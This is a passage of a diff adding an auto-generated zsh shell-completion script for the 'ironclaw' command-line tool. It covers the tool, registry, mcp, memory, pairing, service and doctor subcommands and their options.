"${_arguments_options[@]}" : \ +&& ret=0 +;; +(get) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(set) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(reset) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(path) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; + esac + ;; +esac +;; +(tool) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +":: :_ironclaw__tool_commands" \ +"*::: :->tool" \ +&& ret=0 + + case $state in + (tool) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-tool-command-$line[1]:" + case $line[1] in + (install) +_arguments "${_arguments_options[@]}" : \ +'-n+[Tool name (defaults to directory/file name)]:NAME:_default' \ +'--name=[Tool name (defaults to directory/file name)]:NAME:_default' \ +'--capabilities=[Path to capabilities JSON file (auto-detected if not specified)]:CAPABILITIES:_files' \ +'-t+[Target directory for installation (default\: ~/.ironclaw/tools/)]:TARGET:_files' \ +'--target=[Target directory for installation (default\: ~/.ironclaw/tools/)]:TARGET:_files' \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--release[Build in release mode (default\: true)]' \ +'--skip-build[Skip compilation (use existing .wasm file)]' \ +'-f[Force overwrite if tool already exists]' \ +'--force[Force overwrite if tool already exists]' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':path -- Path to tool source directory (with Cargo.toml) or .wasm file:_files' \ +&& ret=0 +;; +(list) +_arguments "${_arguments_options[@]}" : \ +'-d+[Directory to list tools from (default\: ~/.ironclaw/tools/)]:DIR:_files' \ +'--dir=[Directory to list tools from (default\: ~/.ironclaw/tools/)]:DIR:_files' \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'-v[Show detailed information]' \ +'--verbose[Show detailed information]' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +&& ret=0 +;; +(remove) +_arguments "${_arguments_options[@]}" : \ +'-d+[Directory to remove tool from (default\: ~/.ironclaw/tools/)]:DIR:_files' \ +'--dir=[Directory to remove tool from (default\: ~/.ironclaw/tools/)]:DIR:_files' \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':name -- Name of the tool to remove:_default' \ +&& ret=0 +;; +(info) +_arguments "${_arguments_options[@]}" : \ +'-d+[Directory to look for tool (default\: ~/.ironclaw/tools/)]:DIR:_files' \ +'--dir=[Directory to look for tool (default\: ~/.ironclaw/tools/)]:DIR:_files' \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':name_or_path -- Name of the tool or path to .wasm file:_default' \ +&& ret=0 +;; +(auth) +_arguments "${_arguments_options[@]}" : \ +'-d+[Directory to look for tool (default\: ~/.ironclaw/tools/)]:DIR:_files' \ +'--dir=[Directory to look for tool (default\: ~/.ironclaw/tools/)]:DIR:_files' \ +'-u+[User ID for storing the secret (default\: "default")]:USER:_default' \ +'--user=[User ID for storing the secret (default\: "default")]:USER:_default' \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':name -- Name of the tool:_default' \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +":: :_ironclaw__tool__help_commands" \ +"*::: :->help" \ +&& ret=0 + + case $state in + (help) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-tool-help-command-$line[1]:" + case $line[1] in + (install) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(list) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(remove) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(info) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(auth) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; + esac + ;; +esac +;; +(registry) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +":: :_ironclaw__registry_commands" \ +"*::: :->registry" \ +&& ret=0 + + case $state in + (registry) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-registry-command-$line[1]:" + case $line[1] in + (list) +_arguments "${_arguments_options[@]}" : \ +'-k+[Filter by kind\: "tool" or "channel"]:KIND:_default' \ +'--kind=[Filter by kind\: "tool" or "channel"]:KIND:_default' \ +'-t+[Filter by tag (e.g. "default", "google", "messaging")]:TAG:_default' \ +'--tag=[Filter by tag (e.g. "default", "google", "messaging")]:TAG:_default' \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'-v[Show detailed information]' \ +'--verbose[Show detailed information]' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +&& ret=0 +;; +(info) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':name -- Extension or bundle name (e.g. "slack", "google", "tools/gmail"):_default' \ +&& ret=0 +;; +(install) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'-f[Force overwrite if already installed]' \ +'--force[Force overwrite if already installed]' \ +'--build[Build from source instead of downloading pre-built artifact]' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':name -- Extension or bundle name (e.g. "slack", "google", "default"):_default' \ +&& ret=0 +;; +(install-defaults) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'-f[Force overwrite if already installed]' \ +'--force[Force overwrite if already installed]' \ +'--build[Build from source instead of downloading pre-built artifact]' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +":: :_ironclaw__registry__help_commands" \ +"*::: :->help" \ +&& ret=0 + + case $state in + (help) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-registry-help-command-$line[1]:" + case $line[1] in + (list) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(info) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(install) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(install-defaults) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; + esac + ;; +esac +;; +(mcp) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +":: :_ironclaw__mcp_commands" \ +"*::: :->mcp" \ +&& ret=0 + + case $state in + (mcp) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-mcp-command-$line[1]:" + case $line[1] in + (add) +_arguments "${_arguments_options[@]}" : \ +'--client-id=[OAuth client ID (if authentication is required)]:CLIENT_ID:_default' \ +'--auth-url=[OAuth authorization URL (optional, can be discovered)]:AUTH_URL:_default' \ +'--token-url=[OAuth token URL (optional, can be discovered)]:TOKEN_URL:_default' \ +'--scopes=[Scopes to request (comma-separated)]:SCOPES:_default' \ +'--description=[Server description]:DESCRIPTION:_default' \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':name -- Server name (e.g., "notion", "github"):_default' \ +':url -- Server URL (e.g., "https\://mcp.notion.com"):_default' \ +&& ret=0 +;; +(remove) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':name -- Server name to remove:_default' \ +&& ret=0 +;; +(list) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'-v[Show detailed information]' \ +'--verbose[Show detailed information]' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +&& ret=0 +;; +(auth) +_arguments "${_arguments_options[@]}" : \ +'-u+[User ID for storing the token (default\: "default")]:USER:_default' \ +'--user=[User ID for storing the token (default\: "default")]:USER:_default' \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':name -- Server name to authenticate:_default' \ +&& ret=0 +;; +(test) +_arguments "${_arguments_options[@]}" : \ +'-u+[User ID for authentication (default\: "default")]:USER:_default' \ +'--user=[User ID for authentication (default\: "default")]:USER:_default' \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':name -- Server name to test:_default' \ +&& ret=0 +;; +(toggle) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'(--disable)--enable[Enable the server]' \ +'(--enable)--disable[Disable the server]' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':name -- Server name:_default' \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +":: :_ironclaw__mcp__help_commands" \ +"*::: :->help" \ +&& ret=0 + + case $state in + (help) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-mcp-help-command-$line[1]:" + case $line[1] in + (add) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(remove) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(list) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(auth) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(test) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(toggle) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; + esac + ;; +esac +;; +(memory) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +":: :_ironclaw__memory_commands" \ +"*::: :->memory" \ +&& ret=0 + + case $state in + (memory) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-memory-command-$line[1]:" + case $line[1] in + (search) +_arguments "${_arguments_options[@]}" : \ +'-l+[Maximum number of results]:LIMIT:_default' \ +'--limit=[Maximum number of results]:LIMIT:_default' \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':query -- Search query:_default' \ +&& ret=0 +;; +(read) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':path -- File path (e.g., "MEMORY.md", "daily/2024-01-15.md"):_default' \ +&& ret=0 +;; +(write) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'-a[Append instead of overwrite]' \ +'--append[Append instead of overwrite]' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':path -- File path (e.g., "notes/idea.md"):_default' \ +'::content -- Content to write (omit to read from stdin):_default' \ +&& ret=0 +;; +(tree) +_arguments "${_arguments_options[@]}" : \ +'-d+[Maximum depth to traverse]:DEPTH:_default' \ +'--depth=[Maximum depth to traverse]:DEPTH:_default' \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +'::path -- Root path to start from:_default' \ +&& ret=0 +;; +(status) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +":: :_ironclaw__memory__help_commands" \ +"*::: :->help" \ +&& ret=0 + + case $state in + (help) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-memory-help-command-$line[1]:" + case $line[1] in + (search) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(read) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(write) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(tree) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(status) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; + esac + ;; +esac +;; +(pairing) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +":: :_ironclaw__pairing_commands" \ +"*::: :->pairing" \ +&& ret=0 + + case $state in + (pairing) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-pairing-command-$line[1]:" + case $line[1] in + (list) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--json[Output as JSON]' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':channel -- Channel name (e.g., telegram, slack):_default' \ +&& ret=0 +;; +(approve) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +':channel -- Channel name (e.g., telegram, slack):_default' \ +':code -- Pairing code (e.g., ABC12345):_default' \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +":: :_ironclaw__pairing__help_commands" \ +"*::: :->help" \ +&& ret=0 + + case $state in + (help) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-pairing-help-command-$line[1]:" + case $line[1] in + (list) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(approve) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; + esac + ;; +esac +;; +(service) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +":: :_ironclaw__service_commands" \ +"*::: :->service" \ +&& ret=0 + + case $state in + (service) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-service-command-$line[1]:" + case $line[1] in + (install) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +&& ret=0 +;; +(start) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +&& ret=0 +;; +(stop) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +&& ret=0 +;; +(status) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +&& ret=0 +;; +(uninstall) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help]' \ +'--help[Print help]' \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +":: :_ironclaw__service__help_commands" \ +"*::: :->help" \ +&& ret=0 + + case $state in + (help) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:ironclaw-service-help-command-$line[1]:" + case $line[1] in + (install) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(start) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(stop) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(status) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(uninstall) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; + esac + ;; +esac +;; +(doctor) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in interactive CLI mode only (disable other channels)]' \ +'--no-db[Skip database connection (for testing)]' \ +'--no-onboard[Skip first-run onboarding check]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +&& ret=0 +;; +(status) +_arguments "${_arguments_options[@]}" : \ +'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \ +'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \ +'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \ +'--cli-only[Run in 